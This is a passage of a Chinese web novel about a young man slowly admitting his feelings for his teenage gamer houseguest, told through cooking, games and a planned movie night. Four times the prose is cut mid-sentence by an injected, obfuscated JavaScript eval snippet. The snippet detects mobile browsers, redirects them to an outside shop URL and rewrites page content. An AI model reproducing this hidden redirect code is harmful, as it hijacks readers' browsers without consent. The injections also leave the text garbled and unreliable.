冰箱里已经没有加热即食的东西,为了在自己没睡醒时也让小孩不饿肚子,许逐意倒完水并没有马上回房间,而是在厨房多留了一会儿,做了几个简单的三明治,还有一份拌饭,放进冰箱里,并附一张字条贴在冰箱上。 写着“饿了就吃,照顾好自己,不用管我”。 做完这一切他才放心地准备回房间睡觉。 但离开厨房后又顿住脚步,犹豫片刻,还是从冰箱里拿出一根能应付饥饿的黄瓜,揣在怀中带进卧室里。 接下来的一整天,汤挽宗都没再看见过许逐意的身影。 他睡醒后看见冰箱上的字条,根据手写的嘱咐顺从地吃掉了许逐意为他准备的食物。 一顿午餐、一顿晚餐。 其余时间就独自一人在书房里打游戏,前几天还缠人好学的学生不知打通了哪窍,无故开启旷课懈怠模式,不学就算了竟然连饭也不出来吃。 晚上九点多,汤挽宗终于因为分心、频繁瞥手机被敌方逮住机会杀死,游戏界面灰下去,他忍不住解锁了手机屏幕。 锁屏一上滑,和许逐意的聊天窗口就显示出来。 但是完全没有新消息。 也不知道许逐意到底睡醒了没有。 自己昨天,可能真的做过了。 就不应该因为看见男人的脸红就控制不住地遐想,更不应该得寸进尺地索求那个拥抱。 哪怕是借着弟弟的名义,哪怕看起来装得很单纯很无辜,但或许还是让许逐意觉得唐突了。 汤挽宗有点后悔。 退出和许逐意的聊天界面,余光就马上能看见同样躺在列表里的卓宣和杨绵。 还有位置比较靠下,已经很长一段时间没联系过、没回复过的姚经理,以及战队的群聊。 那些熟悉的名字无一不在提醒他——时间是有限的。 他是再过不久就要离开的。 以后也许很难再有机会获得这样一段能和许逐意住在同一屋檐下培养感情的时间——毕竟这一次也是纯属走运,能够被意外地收留下来,顺水推舟撒了个无处可去的谎,得到重新走近许逐意身边的机会。 游戏界面这时显示再次复活,灰屏结束。 汤挽宗飞快打下“哥哥醒了吗”五个字,不给自己后悔的机会,直接发送出去,然后把手机锁屏丢到一边。 他操控着角色,离开泉水出去杀了一圈,推掉对面的高地后回城,再拿起手机来打开微信查看,看见许逐意十分钟前回过来消息。 没有文字,只有一个猫猫还在被窝里睡觉的表情包。 这是醒了。 汤挽宗没有马上回复,跟着游戏中的队友一起点掉水晶,拿下当局胜利,退出排位排队后才重新拿起手机。 想了想,编辑一条“医药箱放在哪里”,发送。 发完他走到客厅里,坐在沙发上等回复。 屏幕上方的昵称栏很快显示“对方正在输入中”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986961|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【电视机柜下面,白色的盒子】 汤挽宗抬眸瞥一眼,看到了那个盒子。 他没有去拿,打字回复“好”,整个人往后一靠,一言不发地盯着天花板。 大约在心里数了十个数,耳边传来一道很轻的开门声。 许逐意从房门后面探出半颗脑袋。 汤挽宗马上坐起来。 “……你生病了?”男人只露出一对清秀的眉眼,下半张脸藏在门后面,话音隔着门板,显得有些闷地响起。 沙发上正襟危坐的男孩握紧两只乖巧放在膝盖上的拳头,沉默两秒,面不改色地撒谎,“嗯”了一声。 “感冒?”许逐意根据昨天的经历,合理地推测。 汤挽宗再次“嗯”了声,还确信地点点头。 感冒还好,不是什么重病。 许逐意松口气,想重新缩回房间里去,他扒着门板,幽幽道:“医药箱里有药,自己烧点热水吃了吧。”边说脑袋边往门后躲。 客厅里的人乖乖应一声“哦”,接着响起脚步声,汤挽宗大概是烧水去了。 卧室里的人得以继续当乌龟。 然而缩回壳里没两分钟,许逐意又听见外面突然响起乒乒乓乓的动静,人好像撞到了哪里,还伴着一声吃痛后低低的惊呼。 他又赶紧开门去看。 “烫到了?”许逐意看见汤挽宗捂着手,这下再憋不住,半是无奈半是着急地拿上牙膏走出卧室。 汤挽宗“嗯”地应一声,脸上痛苦的表情不减,眉心紧紧拧一起。 “手给我。”许逐意手摊到少年面前,低头不敢看人脸,挤了牙膏就往烫红的关节处抹。 距离一下拉进,他瞬间仿佛又闻到汤挽宗身上淡淡的那股香气。许逐意感觉到自己脸上不受控制地正在升温,努力平复一整天的心情再次破功,满脑子都是赶紧处理完回到房间里,不要再和汤挽宗靠得那么近。 涂完牙膏就马上收回手,许逐意转身给汤挽宗冲药剂,也不知是为了让自己分心别胡思乱想,还是单纯想靠说话转移注意力,“喝完药抓紧休息,生病了被子盖紧一点,回房间时记得端杯热水……” “我还以为哥哥讨厌我了。” 啰嗦的话讲到一半戛然而止。 许逐意唇瓣都没来得及合上,还保持着半开的模样,闻声飞快地朝汤挽宗瞥去一眼。 就看见少年握着涂了白色牙膏的那只手,低头靠在旁边的台沿,留给他一个显露淡淡落寂的侧脸。 大脑突然一片空白。 也许是注意到视线,也许是没得到回音,许逐意呆呆看着汤挽宗在沉默中慢慢把脸扭过来一点,就歪着脑袋的姿势,任随重力下垂的刘海把潮湿的目光分成细碎的一点点。 “为什么躲着我……别躲着我好不好?” 完全示弱的语气。 怎么这样。 ……这是,犯规吧。 许逐意感觉灵魂好像从身体剥离,自己干巴巴的声音从很远的地方传过来,“……没有躲着你。” 他想说不是这样的,不是讨厌你。 只是安抚性的一个拥抱,很普通的一个拥抱,索求安慰没有问题。 怎么会因为这个讨厌你。 但话到嘴边,又不争气地卡在齿隙。 他咬着自己的呼吸,怕此地无银三百两,不敢再躲开两人对上的眼睛。 眼前的人却似乎对他的紧张视而不见,得到回答后像很容易满足的小孩子,立刻就转移了注意,轻松温柔地问起:“哥哥今天吃过了吗?” 吃了。许逐意下意识在心里回答。 他感觉汤挽宗这是明知故问,毕竟自己一整天都没踏出过房间,怎么吃? 但手却还是情不自禁地伸过去。 许逐意一把揉乱少年乌黑的头发,得以盖住那双眼睛。 话说出口,再没平时一成不变的冷静,他不由自主抬高音量,带着几分颤抖的自暴自弃:“你……你不要再这样看着我了!” 20.下定决心 外星人统治人类也许并不需要多么先进的武器,往往一个萌物就够了。 在二十四岁深秋的晚上,许逐意突然对此有了很深的认同。 汤挽宗可能被他突然的举动弄懵了,想抬头确认他的表情,又好像想起了许逐意刚刚的话,傻乎乎地中途改了动作,不仅低头还微微弯腰,保证:“我不看。” 又问他:“哥哥怎么了?” 看这孩子完全状况之外的单纯模样,许逐意咬住唇,实在是不好意思直面自己肮脏龌龊的内心,不好意思带坏才十九岁的小朋友。 他定定神,努力给自己心理暗示“我是大人要冷静”,然后恢复平静的语气说:“没事。” 伸手端过泡好的感冒冲剂,僵硬地命道:“喝了,然后去睡觉。” 汤挽宗乖乖接过,偏过头一口口抿着,喝完就抱着杯子继续低头,不敢看他,但又一副欲言又止的表情。 许逐意将他一系列动作和小表情看在眼里,嗓子莫名其妙地有些痒,他咳嗽两声,反问:“……怎么了?” 欲言又止的人又马上摇头。 “有话就说。”许逐意见他喝完,不给汤挽宗反应的机会,忽地伸手拿过人手里杯子,顺手冲洗,“现在不说就别说了。” 男人态度突然变得强势,汤挽宗摸摸鼻子,试图压下自己震耳欲聋的心跳,小声且弱弱地试问:“我可以抬头吗?” “……”许逐意毫无征兆被噎了一下。 周围静了好半晌,他才慢慢启唇,不情愿似的吐出俩字:“可以。” 面前的少年很快抬头。 生怕他反悔一样。 那一瞬间——虽然许逐意不喜欢小狗,但多少刷到过一些萌宠视频,主人下达指令,小狗会听话地照做——他感觉汤挽宗真的很像一只小狗。 怎么会把他的“可以不可以”如此当真并且照做,怎么会有这样像小狗一样听话的人? 许逐意感觉脸又热了。 他不自觉地拧起眉,抬手揉了把头发。 胡思乱想之际,耳边传来汤挽宗依然小心翼翼的话音:“哥哥……是我把感冒传染给你了吗?” 许逐意还没来得及对这句话作出反应,“哥哥对不起。”汤挽宗就这样说。 说完还很抱歉地拿那双眼睛看着他。 “……没有,不是。”许逐意不好再叫汤挽宗别看他,只好自己转头躲。 他想冷静一点,想维持平常一样的态度和汤挽宗对话,可思绪就是控制不住地乱糟糟。 即便此刻躲开那双黑眸,也仍旧无法安抚心跳。 喜欢是什么呢?这两天他看了好多影视作品。 看了好多书,搜了好多网友的表白帖子。 许逐意记得邱妙津在《蒙马特遗书》里面写的那句,“我其实没有选择的余地,遇见你的那一刻,那命运就掉下来了,一秒钟也不容我选择”。 可能,他对汤挽宗也是这样的感觉吧。 明明想理智,想矜持,想权衡利弊,但心跳却完全不受控制。 他也没有选择的余地,无论汤挽宗是不是马上要离开,是不是小自己好多岁,这样做是不是不合适…… 一秒钟都无法犹豫的,他确实喜欢这个人。 余光里的少年见他又长久不说话,再次探头探脑地开始打量,似乎在思考能说点什么好让两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986962|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人不只是傻站着。 但许逐意没有等汤挽宗开口。 他吸了口气,下定决心般忽地转回头直视那双眼睛:“你知道喜欢是什么感觉吗?” 猝不及防响起的话音在安静的室内显得尤为清晰。 汤挽宗愣了一下。 他不知道刚刚沉默的时间里许逐意又想了些什么,是自己太明显,真的暴露了吗? 这种时候是不是继续装傻比较好? “不知道。”为了让回答更能被信服,汤挽宗几乎不假思索道。 许逐意又陷入短暂的沉默。 ……这孩子似乎比他想的还要单纯。 他思量片刻,又问:“你上学的时候没有喜欢过人?” “没有。” 汤挽宗答完,马上反问:“哥哥知道吗?” 哥哥当然知道。 毕竟哥哥喜欢的人……此刻就在眼前。 许逐意清清嗓子,没有回答汤挽宗的话,而是突然扯开话题:“我不看比赛。” 男孩露出困惑的表情:“什么?” 许逐意视线往左下落,继续道:“对Zone那种明星选手,也不感兴趣。” 汤挽宗:“……” 又吸一口气,许逐意语气波澜不惊,表情平静,但声音有点小下去:“但看你打游戏感觉并不坏。” “明天你排位的时候我能在旁边看吗?”他抬手挠挠脸,又看回少年脸上,对着汤挽宗有些怔愣的表情,试图用一种拐弯抹角的方式循循善诱,为汤挽宗解答“什么是喜欢”,也为自己那份“想要靠近”的心情找借口,“我听说观赛……也是学习的一种方式,对吧?” 21.一反常态 虽然有点搞不明白许逐意想表达的意思,但汤挽宗还是答应了下来。 观赛确实也是一种培养游戏思维的方式,否则他们打完比赛也不用坐在一起开会复盘、了解其他战队时也不用看对方的比赛录像了。 许逐意得到自己想要的回答后就开始催汤挽宗去睡觉,并扬言自己要调整作息,不再熬大夜,明天中午会起床给汤挽宗做他喜欢吃的蛋包饭。 汤挽宗就这样云里雾里地被撵回房间。 调整好了心态,不再纠结,许逐意睡了神清气爽的一觉。 并如约起床做了蛋包饭,做完正好碰上汤挽宗睡醒从卧室里出来。 “这次做得有点咸,我刚刚尝了一口,应该没有上次的好吃。”许逐意没把盘子端上桌,站在厨房里隔着岛台看汤挽宗,语气有点抱歉,“要不还是点外卖吧。” “……没事。”汤挽宗刚睡醒没多久,声音还有点哑。 其实第一次的蛋包饭就很咸,所以他才没让许逐意吃。但没想到这次这人自己发现了……明明是那种糊在一起难吃的拌饭都吃得下去的人。 汤挽宗自觉地倒了两杯水,走过来端走许逐意手里的蛋包饭,“我口味比较重。” 说着在餐桌边坐下,埋头就塞一大口,又想到什么,对许逐意说:“哥哥吃不了可以点外卖,我吃两份就好了。” “不行,吃太咸对身体不好。”许逐意跟过来,不由分说端走汤挽宗挖了一大勺的两份饭,直接扭头倒进垃圾桶,“我点外卖了,你想吃什么?” ——果然喜欢一个人,就是会忍不住地在意和关心。他同时在心里如是想。 汤挽宗看着他一系列动作,抿抿唇,只好报了一个许逐意常点的、喜欢的外卖名字。 “你也喜欢吃这家吗?”许逐意边问边拿出手机。 ——果然喜欢一个人,就是会下意识在意对方的感受。 汤挽宗“嗯”了一声。 许逐意迅速点好自己常吃的,把手机递到汤挽宗面前,淡淡:“想吃什么随便点,我请客。” ——果然喜欢一个人,就会控制不住想给他花钱。 汤挽宗也很快点好自己想吃的,而后拿出手机:“我请哥哥喝咖啡吧。” 许逐意大手一挥:“不用。” 又反客为主地找出上次汤挽宗喝过的奶茶店:“今天喝奶茶。” 汤挽宗:“……” 他停顿了两秒,在许逐意催促“拿去点”后才接过手机挑选饮品。 同时偷偷用余光打量今天突然一反常态的许逐意——他总觉得哥哥莫名有点说不上来的奇怪与兴奋。 但这也只是汤挽宗“感觉”,他并不敢肯定。 毕竟许逐意做这些的时候和平时没什么区别,表情和语气都是淡淡的,没有什么起伏的,只有那双眼睛里偶尔会闪过不易被察觉的笑意。 ……是遇到什么好事了吗? 汤挽宗有点好奇,有点想问,但又觉得看许逐意这样挺有意思的,便也没有马上开口。 许逐意沉浸在一种“人生第一次感觉到‘喜欢’”和“憋不住想要表现出喜欢又不好意思”的心情里,并未觉察到汤挽宗的走神。 就连平时觉得太过甜腻的奶茶都甘之如饴了。 外卖到了以后,二人迅速解决,他迫不及待就带着汤挽宗往书房里面走,心情像八岁那年第一次收到属于自己的小灵通手机,两只眼睛亮亮的,看着汤挽宗打开电脑。 “……哥哥不坐下吗?”汤挽宗飞快登录了自己另一个ID不叫Zone的账号,回头看一眼站在自己身后的人。 “坐。”许逐意回过神,拉过自己的那把电竞椅,想了想,有些紧张地在和汤挽宗间隔比较近的距离坐下。 坐下后他心虚地看向电脑屏幕,一时间不敢看旁边人的表情。 ……太近了。 近到汤挽宗感觉只要自己稍稍挪动鼠标,手肘就会碰到许逐意的胸口。 之前他教许逐意打游戏时下意识也坐得这么近,被许逐意提醒“后退一点”,才反应过来这个距离对打游戏的不方便。 但是,汤挽宗瞥一眼认真盯着电脑屏幕的许逐意,感觉这人好像对于即将到来的教学十分期待,到嘴边的那句“哥哥稍微退后一点”又怎么都说不出口。 汤挽宗动了动有些僵硬的胳膊,不着痕迹地调整了一下姿势,收回目光,挂上排位。 大概是运气好,没有等很久就排进去了,游戏很快开始。 许逐意嘴上说着观赛学习,但实际看进去的并没有多少内容。 距离是他故意缩短的,被汤挽宗发现了吗?应该……没有吧。汤挽宗打游戏很认真,偶尔眉心会微微蹙起来。身上会飘来很好闻的味道,握鼠标和按键盘的手指也很修长,看起来……很好牵。 他好像是第一次如此仔细认真地观察这个人。许逐意隐约听见汤挽宗在打得比较关键的时候还会给他解说,但说了什么内容全都没过脑子。他有点昏头、有点无可救药,全部心思都在感受身旁这个人的存在,夸张到甚至连汤挽宗修剪得干净圆润的指甲都觉得可爱。 被自己的想法略吓到,也觉得难为情,许逐意还是头一次知道自己原来心中有这么多乱七八糟的杂念,也发现自己一发不可收拾地愈来愈贪心,想要尽可能与汤挽宗多待会儿的心情愈来愈强烈。 “——哥哥。”耳边突然传来很大声的一句。 许逐意被吓一跳,肩膀抖了一下才回过神,微微瞪大眼睛朝汤挽宗看去。 汤挽宗不知道他在想什么,只是能感觉到许逐意的心不在焉。 毕竟自己说出去的话全部都没有回音,整整两局游戏打下来,外面太阳都该准备下山了,许逐意再沉默寡言也不至于直接这么久过去一字不说。 他对着男人受到惊吓而有些呆滞迟钝的脸,不动声色叹出口气,声音轻下来,问:“你怎么了?” “啊,”许逐意连忙摆手,“没有,没事。” 脸突然就热起来,他赶紧转头到一边。 “我去倒杯水吧。”总感觉气氛眼看要尴尬起来,许逐意说完就起身,离开了书房。 碎步快走到厨房,许逐意把水烧上,扶着台沿低下头,盯着自己的脚尖长长舒出口气。 ……好险。 差一点脸上就要冒烟了。 自己可是决心为汤挽宗解答“何为喜欢”的大人,这么控制不了心情可不好。 水很快烧开,许逐意拿了冰箱中的矿泉水调温,整理好心绪后端着两杯温热的水重新走回去。 书房里,汤挽宗低着头在看手机,电脑屏幕上显示着排位赛正在排队等候中。 似乎,是个展开攻势的好机会。 这么想着,许逐意将水杯在汤挽宗手边放下,偷瞄一眼男孩的脸,清清嗓子。 果不其然,汤挽宗闻声便朝他看来。 许逐意在脑海中迅速检索恶补恋爱作品时学到的“知识点”,套公式一样学以致用,有些心虚地指了指汤挽宗的脸,用机器人一样毫无起伏的语气说:“你脸上有东西。” 话音落下,过了几秒汤挽宗才像是从思考当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002232|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中回神:“什么?” “睫毛。”许逐意发现自己并不擅长说谎,垂在腿上的两只手不自觉捏紧了,还咬到舌头,“第、掉脸上了。” “哪里?”汤挽宗打开手机的前置摄像头试图寻找。 许逐意倏地伸手遮住,生怕被识破谎言,赶紧说:“我帮你拿下来吧。” 说完就倾身过去。 在这两天看过的传统的恋爱剧情中,这种帮对方取下脸上东西、骤然缩短二人之间距离的手段,不管男主用还是女主用,都一定会响起罗曼蒂克的BGM。 镜头会放慢,滤镜也变得旖旎,然后伴随着主人公们的抬眸与对视,接下来的剧情发展要么是亲吻,要么是两个人都心跳加速意识到悸动,迅速躲开。气氛会升温,变得很暧昧。 许逐意并不想和汤挽宗现在就亲嘴。那太快了,汤挽宗连喜欢上他都不算,强吻只会让人觉得是非礼。 所以目标是让汤挽宗感觉到心跳加速就好。 这么想着,他一鼓作气,屏住呼吸,装作很镇定、像干稀松平常的一件事般,很轻很轻用手指在汤挽宗脸上戳了一下,捻掉那根本就不存在的睫毛。 “……好了。”许逐意低声喃喃一句,迅速垂下眸,想要退开观察汤挽宗的表情。 腰却在这时突然感觉到一股力。 应该是汤挽宗不小心碰到了自己,但许逐意本就神经紧绷,这下又被吓一跳,他腰际怕痒,猛地一抖、脚一滑,控制不住地往前栽去。 “啊!”他惊叫一声,整个人狼狈地扑倒在汤挽宗腿上,手掌“啪”地撑到地面。 两人之间一下从隔着距离到摔到一起,羞耻心瞬间挤满许逐意整个脑海,也顾不上装不装淡定了,手忙脚乱从汤挽宗身上爬起来,红着脸,下意识碰了碰少年肩膀:“你没事吧?” 又看汤挽宗的胳膊和腿:“我有没有哪里撞到你?” 惊慌失措的表情。 面前那张向来淡漠疏离、很难有情绪的脸此刻陡然生动起来。许逐意细细的眉毛拧着,白皙过头又爬满绯红的脸像早点摊上会买的粉色小猪馒头,莹润的粉红叫他微微睁大的眼睛也显得剔透,因为担心而忘记自己此刻非常害羞——这副表情就这么直直撞进汤挽宗眼里。 “……撞得很痛吗?”听到男人语气抱歉的这句话,他才从看得出神的状态中回神。 “没有。”汤挽宗垂眸,垂在身侧、放置于暗处、刚刚故意触碰了一下许逐意腰部的指尖像是有火在烧,僵硬而发麻。 他喉结滚了一下,又重新振作,伸手去牵过许逐意的,查看并询问:“你摔疼了吗?” 许逐意也说:“没有。”然后把手抽回来。 汤挽宗视线跟着他动作走,又问:“睫毛呢,拿掉了吗?” “拿掉了。”许逐意老老实实回答,有点此地无银三百两地补充,“直接扔地上了,忘记给你看,现在应该找不到了。” 电脑上这时传来进入游戏的提示音。 两人注意力不约而同被吸引,许逐意看屏幕不看汤挽宗,扯开话题:“这把你打算玩什么?” 但是没有得到回音。 他等了几秒钟,想转头去看汤挽宗在干什么,脸颊却遽然滑过一丝微潮柔软的触感。 许逐意愣住。 方才平复下去的心跳瞬间再次震耳欲聋地响起,他呆呆看着汤挽宗收回略过自己面前的手指。 “哥哥脸上也有睫毛。”男孩红着耳朵解释,还很自然地吹了一下手指,又说,“一个人玩没意思,这把打完……可以双排吗?” 22.被抓包 汤挽宗一本正经的表情让许逐意一下子没了办法分清到底哪句话是真的。 双排当然可以。 他下意识想答应,脑海中却猛然闪过之前想追祝扬时,郑子蓓说过的话。 ——千万不要让喜欢的对象觉得你很笨。 汤挽宗英雄联盟的水平明显在他之上,自己打了这么些天,依然只是个段位都没有的菜鸟,之前双排的时候汤挽宗为了顾及他的游戏体验,都是打的匹配。 像那种炫技、撩人的操作许逐意通通不会,他只会在被追杀的时候疯狂在地上pin求救信号,残血活苟着或一具尸体躺在路中间,等汤挽宗闪亮出现。 ……真是完蛋,他已经把最笨的样子给汤挽宗展示过了。 连买什么装备都不知道,一局拼死也杀不到几个人头的游戏白痴,一点也不让人心动吧。 这下该怎么办。该怎么挽回自己的形象才好。 因为游戏已经开始,汤挽宗来不及等到许逐意的回答,只好先转回头去专注对局。 许逐意得以急中生智,灵机一动,想出一个万全之策。 “我今天不想玩,看你玩就好了。”他不看汤挽宗,对着旁边的墙心虚地说,“你……玩累了、差不多了就早点休息吧,我今天起很早,晚上也想早点睡。” 汤挽宗跟人互换血条,对线完一波B了才回:“好吧。” 听上去有点失落。 许逐意抿抿唇,“嗯”了一声。 计划到底赶不上变化,原本打算借围观汤挽宗玩游戏创造多接触的机会,但许逐意临时又有了新的想法。 于是接下来的时间就像平常一样过去,晚上十点多他和汤挽宗就各自回房,宣布睡觉。 总算一个人待着,许逐意关上门就开始搜索各种英雄联盟中单操作视频,还有各种局内游戏思路讲解。 虽然目前技术不精,但这几天游戏打下来、学下来,许逐意大概了解了想要打好英雄联盟应该知道些什么。 他听得认真,甚至坐到桌前从抽屉里拿出个本子记笔记,往上面写了一堆游戏几分钟该干什么,阿狸的出装,阿狸的符文,等等等等。 就这样一直看到晚上十二点。 夜渐渐深了,空气都变得静谧下来。许逐意抱着写了笔记的本子,很小心很小心地把卧室门拉开一条缝,从缝里挤出去,再蹑手蹑脚地路过客卧,走进书房。 将身后的门关上,许逐意握着门把紧张地在原地站了两分钟,确认安全无事后才放心地大步来到电脑前,坐下开机。 登录上号,光标在匹配与排位的选项中犹豫几秒,点下排位。 许逐意把笔记翻开放在面前,表情严肃认真。 来吧,恶补吧。 多当一天游戏菜鸟,就多在喜欢的人面前丢一天人。 许逐意不要这样,他也想能跟上汤挽宗的步伐,而不是一直都做被保护的那个。 毕竟自己还扬言过要和汤挽宗solo,还想赢呢。 斗志之魂燃起,许逐意废寝忘食,一打就是俩小时。 不知道是他水平突然有所提高,还是排位赛的匹配机制就如此,最开始的两局难度都不算太高,虽然许逐意发挥得马马虎虎,但居然都赢了。 还有个陌生人来加许逐意的好友,是其中一局游戏中的打野,玩得挺不错的,那把多亏了他才能赢。 申请界面开了又关,许逐意思考着要不要通过。通过了也许可以交流一下游戏心得,正好他打算独自恶补游戏技术;但删好友又很麻烦,他不想跟陌生人打solo,而且汤挽宗应该也不会帮他。 还是不加了。 何况比起技术,这路人打野显然远远不如汤挽宗……虽然他现在好像也不会再去问汤挽宗什么游戏上的问题了。 许逐意想了半天,没来得及按下拒绝下把游戏就开了,他只好暂时让通知的数字1挂在那里。 打完第五个呵欠,困意逐渐漫上来,许逐意看了眼时间,才发现自己不知不觉又打了好几把,决定要不今天就先到这里,准备下机睡觉。 “哥哥睡不着吗?”身后却在这时冷不丁响起话音。 许逐意吓一大跳,猛地往后看,看见汤挽宗不知何时开了书房的门进来,睡眼惺忪地站在与他相隔一米的后面。 ……应该是起夜时听到书房有动静吧。 “有、有点吧。”许逐意心虚地说。 他一撒谎整个人都会变僵硬,看着汤挽宗慢慢快走到面前了才想起来游戏没关,转头想退出账号,背后的人就又开口了,“在打排位?” 许逐意含糊“嗯”了一声,刚挪动鼠标到右上角叉叉处,汤挽宗突然说:“有人要加你好友吗?” 自己拒绝汤挽宗的双排邀请、跟汤挽宗说去睡觉结果半夜打游戏还被抓包,许逐意本来就觉得过意不去,这下又反应过来那则好友申请他还没处理,被人看见了,莫名又想到之前和汤挽宗那个“只和你一起打游戏”的约定,顿时心虚得更甚。 他慌乱地想要把没来得及按的叉叉按下去,背后却伸过来一只手,光标瞬间挪了位置,没有精准按到叉叉上,汤挽宗就握着他手的姿势点开了那则好友申请。 一串陌生的ID,申请内容写着:加个好友一起玩?很久没在低端局碰见这么好说话的中单了。 “我没想跟他玩。”念着之前的约定,许逐意怕汤挽宗多想什么,赶紧解释,还转头去观察汤挽宗的表情。 但汤挽宗什么话也没说,电脑的光线打在他没有什么表情的脸上,许逐意看不出来他是不是有不开心。 “你帮我点一下拒绝,可以吗?”汤挽宗不说话,许逐意就只好继续试探。 耳边这才响起低低的一声“嗯”,许逐意看着汤挽宗把那个人的申请拒绝。 “你还玩吗?”汤挽宗转过头来垂眸看他。 许逐意这才发现他们俩脑袋的距离不知不觉已经靠得很近。 汤挽宗半个身子靠在电竞椅上,半个身子探过来,此刻面对面鼻尖的距离不过一个拳头,许逐意甚至觉得他能感受到汤挽宗的呼吸。 “……不玩。”他艰难地从喉咙里挤出两个字。 汤挽宗就又转头,对着电脑,帮他把账号退出了。 然后若无其事地松开手,好像压根没有发现他们俩之间刚才距离的不合理。 “我回去睡觉了。”他淡淡说完这一句,转身就要离开。 许逐意觉得汤挽宗应该是不开心了。 他下意识站起来也跟着出去,“等等——” 客卧门就在书房的对面,许逐意这一声叫得汤挽宗在门口停下,一手扶着门把,回过头来看他。 “怎么了?”汤挽宗的语气听起来很温和。 表情看起来也分明没有生气。 许逐意不知道自己是不是猜错了,或者是不是又在小题大做。他发现自己虽然喜欢汤挽宗,却觉得并没有完全把握住这个人。是因为汤挽宗不喜欢他吗?还是说其实他还不足够了解汤挽宗呢? “你明天,”许逐意没问“你是不是不开心”,也没说“别不开心”,而是问,“有空吗?” 问完又觉得是个废话。汤挽宗现在住在他家里,除了打游戏,应该也没有别的事情吧。 但汤挽宗却没说有空:“下午要打游戏。” 又问:“怎么了?” 意料之外的回答让许逐意顿了一下,他“啊”一声,抬手挠挠脸,只好临时改了说辞:“……没事。” 汤挽宗扶在门把上的手放下了,转过来面对他:“哥哥说吧。”一副洗耳恭听的样子。 对方如此要求,许逐意也就不继续扭捏了。 “一起出去看电影吗?”他说,“最近好像有一部不错的片子。” “下午吗?” “晚上吧。” 汤挽宗沉默了几秒钟,点头:“好。” 他掏出手机,问:“叫什么名字?我买票。” “我会买的。”许逐意报了个电影名字,伸手想阻止汤挽宗动作。 手腕却反过来被人一把抓住,汤挽宗并不用力,轻轻的,把他手按下去,“让我买吧,”男孩说,还放软声音道,“哥哥,拜托。” 后半句一出,许逐意就卸了力。 汤挽宗便也松开他,垂眸看场次信息:“晚上只有午夜场了。” “那……”许逐意顿了下,不知道午夜场汤挽宗愿不愿意。 “哥哥没问题的话我买了。”但汤挽宗这样说。 “……那就午夜场。”许逐意说。反正他是不睡觉。 电影票买好,汤挽宗放下手机,推门前还是多嘴问一句:“哥哥还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015519|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么事吗?” “没事了。”许逐意摇头。 “那晚安。”汤挽宗说。 然这次不等他回答,说完就回到了房间去。 汤挽宗是睡一半中途醒来,许逐意则是再次熬夜。前一天才立的早睡flag才坚持一晚就倒了,他又睡到下午三点才醒来。 醒来汤挽宗已经拿冰箱里的速食吃过了,在打排位,许逐意洗了一盒圣女果慢慢吃。 虽然已经一个晚上过去,但昨晚被抓包的心虚并未完全消弭,许逐意还是有点不好意思面对汤挽宗,以至于醒来后一直没进书房,但也没回卧室,独自在客厅呆着。 正好手机日历提醒,郑子蓓生日快到了。许逐意按照往年一直以来的习惯,给郑子蓓买了个星巴克的杯子作礼物。 汤挽宗的生日礼物也没买。许逐意迅速解决完好友的,想到这件事,仔细逛起购物软件,还搜了不少经验帖,思考该送汤挽宗什么比较好。 就这样消磨时间到晚上,中途两人一起吃了外卖送来的晚饭,但席间并没有说很多话。 汤挽宗从昨晚开始就变得有点沉默,许逐意猜测他应该还是有点情绪在。 毕竟自己是拒绝了汤挽宗的双排邀请后又偷偷一个人玩,还被当事人抓包,一觉睡醒许逐意越想觉得自己越可恶,汤挽宗如果真的生气也完全合理。 送礼物能把汤挽宗哄好吗,是不是应该再好好地道个歉呢,汤挽宗会原谅他吗…… 许逐意看着天花板,边思考,边不自觉地在沙发上滚来滚去。 落地窗外夜越来越深,书房里总算传出人从椅子里起身的动静。 “换衣服吧哥哥。”汤挽宗从书房出来,往客厅丢过一句,又钻进了房间里。 许逐意“噢”一声,爬起来也去更衣。 由于借住得临时且突然,汤挽宗没几件衣服可以换。他居家时基本穿的许逐意的,外出就许逐意给的那套和自己的这套换着。 